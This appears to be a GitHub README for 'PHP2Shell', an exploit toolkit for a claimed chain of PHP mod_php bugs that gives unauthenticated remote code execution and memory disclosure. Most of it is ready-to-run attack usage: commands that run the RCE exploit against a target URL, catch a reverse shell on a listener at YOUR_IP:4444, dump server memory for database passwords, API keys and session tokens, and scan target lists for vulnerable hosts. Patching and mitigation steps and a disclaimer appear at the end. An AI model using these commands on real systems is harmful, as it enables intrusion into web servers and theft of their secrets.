██████╗ ██╗ ██╗██████╗ ██████╗ ███████╗██╗ ██╗███████╗██╗ ██╗
██╔══██╗██║ ██║██╔══██╗╚════██╗██╔════╝██║ ██║██╔════╝██║ ██║
██████╔╝███████║██████╔╝ █████╔╝███████╗███████║█████╗ ██║ ██║
██╔═══╝ ██╔══██║██╔═══╝ ██╔═══╝ ╚════██║██╔══██║██╔══╝ ██║ ██║
██║ ██║ ██║██║ ███████╗███████║██║ ██║███████╗███████╗███████╗
╚═╝ ╚═╝ ╚═╝╚═╝ ╚══════╝╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝
4 Bugs · 6 Exploit Paths · 3 CMS Demos · Works on Linux & Windows
PHP2Shell is a security research toolkit for critical PHP vulnerabilities. These bugs allow attackers to:
- ✅ Run commands on any PHP server (Remote Code Execution)
- ✅ Read server memory like passwords and tokens (Memory Disclosure)
- ✅ No login needed — works without any authentication
- ✅ No file upload needed — just send a simple HTTP request
⚠️ Impact: About 30% of all PHP websites usemod_phpand are vulnerable. This includes WordPress, Drupal, and Joomla.
Wiz Research discovered these bugs in October 2026. This repository has independently verified proof-of-concept exploits.
| Bug | What It Does | Severity |
|---|---|---|
| Bug 1 | Run any command on the server | 🔴 Critical |
| Bug 2 | Read passwords from server memory | 🔴 Critical |
| Bug 3 | Use-After-Free memory bug | 🟠 High |
| Bug 4 | OPcache memory corruption | 🔴 Critical |
| PHP Version | Status | Fix Available |
|---|---|---|
| 8.4.0 – 8.4.26 | 🔴 Vulnerable | Update to 8.4.27 |
| 8.3.0 – 8.3.35 | 🔴 Vulnerable | Update to 8.3.36 |
| 8.2.0 – 8.2.34 | 🔴 Vulnerable | Update to 8.2.35 |
| 8.5.0 – 8.5.11 | 🔴 Vulnerable | Update to 8.5.12 |
| 8.1.x and older | 🔴 Vulnerable | No fix (end of life) |
| 7.x | 🟢 Safe | Not affected |
git clone https://github.com/memuratozturk/php2shell-poc.git
cd php2shell-pocThe lab runs WordPress, Drupal, and Joomla with vulnerable PHP:
cd lab
docker-compose up -dWait 30 seconds for the containers to start. Then you have:
- WordPress → http://127.0.0.1:9080
- Drupal → http://127.0.0.1:9081
- Joomla → http://127.0.0.1:9082
# Test on WordPress
python3 exploit/php2shell_exploit.py \
-u http://127.0.0.1:9080/index.php \
-c "id" \
--target-os linuxExpected Output:
[+] Zend MM chunk base = 0x7242f2400000
[+] libphp base = 0x7242f40d1000
[+] Command executed (attempt 1)
PROOF: uid=33(www-data) gid=33(www-data)
🎉 Success! You ran a command on the server without any login.
| Tool | Purpose | Command |
|---|---|---|
| php2shell_exploit.py | Remote code execution | python3 exploit/php2shell_exploit.py -u URL --shell |
| memdisclosure.py | Read server memory | python3 exploit/memdisclosure.py -u URL --analyze |
| scanner.py | Find vulnerable servers | python3 tools/scanner.py -u URL |
| shell_server.py | Catch reverse shells | python3 tools/shell_server.py --lhost IP |
| bug3_backtrace_uaf.py | Test Bug 3 | python3 exploit/bug3_backtrace_uaf.py --host IP |
| bug4_opcache_confusion.py | Test Bug 4 | python3 exploit/bug4_opcache_confusion.py --host IP |
Terminal 1 — Start the listener:
python3 tools/shell_server.py --lhost YOUR_IP --lport 4444Terminal 2 — Run the exploit:
python3 exploit/php2shell_exploit.py \
-u http://target.com/index.php \
--shell \
--target-os linuxpython3 exploit/memdisclosure.py \
-u http://target.com/index.php \
--dump leaked_memory.bin \
--analyzeThis can find:
- Database passwords
- API keys
- Session tokens
- Other secrets
# Single target
python3 tools/scanner.py -u http://target.com
# Multiple targets from file
python3 tools/scanner.py -t targets.txt -o results.csv1. Attacker sends a special HTTP POST request
↓
2. PHP starts processing but runs out of memory (OOM)
↓
3. PHP crashes but leaves memory pointers behind
↓
4. Attacker sends another request to the SAME worker
↓
5. The old pointers now point to attacker's data
↓
6. PHP follows the pointers and runs attacker's command
↓
7. 🎯 Remote Code Execution!
- mod_php keeps the same process for many requests
- When PHP crashes, it doesn't clean up properly
- The next request can use the old (bad) memory
- PHP-FPM is safe because each request gets a new process
For the full technical explanation, see:
- TECHNICAL.md — Deep dive into the bugs
- WIZ_REPRODUCTION.md — Step-by-step reproduction guide
# Ubuntu/Debian
sudo apt update && sudo apt upgrade php
# CentOS/RHEL
sudo dnf update phpPHP-FPM is not vulnerable to this attack:
# Disable mod_php
sudo a2dismod php8.4
# Enable PHP-FPM
sudo a2enmod proxy_fcgi
sudo systemctl restart apache2Add this to your php.ini:
session.upload_progress.enabled = 0php2shell-poc/
├── exploit/ # Attack tools
│ ├── php2shell_exploit.py # Main RCE exploit
│ ├── memdisclosure.py # Memory leak tool
│ ├── bug3_backtrace_uaf.py # Bug 3 tester
│ └── bug4_opcache_confusion.py # Bug 4 exploit
├── tools/ # Helper tools
│ ├── scanner.py # Find vulnerable servers
│ ├── shell_server.py # Reverse shell listener
│ └── calibrate_offsets.py # Offset calculator
├── lab/ # Test environment
│ └── docker-compose.yml # WordPress + Drupal + Joomla
├── docs/ # Documentation
│ ├── TECHNICAL.md # Technical details
│ └── WIZ_REPRODUCTION.md # Reproduction guide
├── evidence/ # Proof files
│ └── *.txt # Test outputs
└── tests/ # Unit tests
└── test_units.py # 33 tests
| Document | Description |
|---|---|
| TECHNICAL.md | Deep technical analysis of all 4 bugs |
| WIZ_REPRODUCTION.md | How to reproduce the Wiz research |
| PATCHED_VS_UNPATCHED.md | Comparison of fixed vs vulnerable versions |
| SECURITY.md | Security policy |
| Resource | Link |
|---|---|
| Wiz Research Blog | PHP2Shell: Chaining 4 Bugs for PHP RCE |
| CVE-2026-109618 | NVD Entry |
| CVE-2026-109619 | NVD Entry |
| PHP Security | PHP Security Advisory |
- Wiz Research — Original discovery and responsible disclosure
- @memuratozturk — Independent verification, exploit development, testing
- PHP Security Team — Fast patching
This tool is for AUTHORIZED SECURITY TESTING and EDUCATION only.
Using this tool against systems without permission is ILLEGAL.
You are responsible for following all local laws.
The developers are not responsible for any misuse.
php security exploit cve rce remote-code-execution memory-disclosure vulnerability penetration-testing security-research wordpress drupal joomla apache mod-php proof-of-concept ctf bugbounty infosec cybersecurity
Made by @memuratozturk





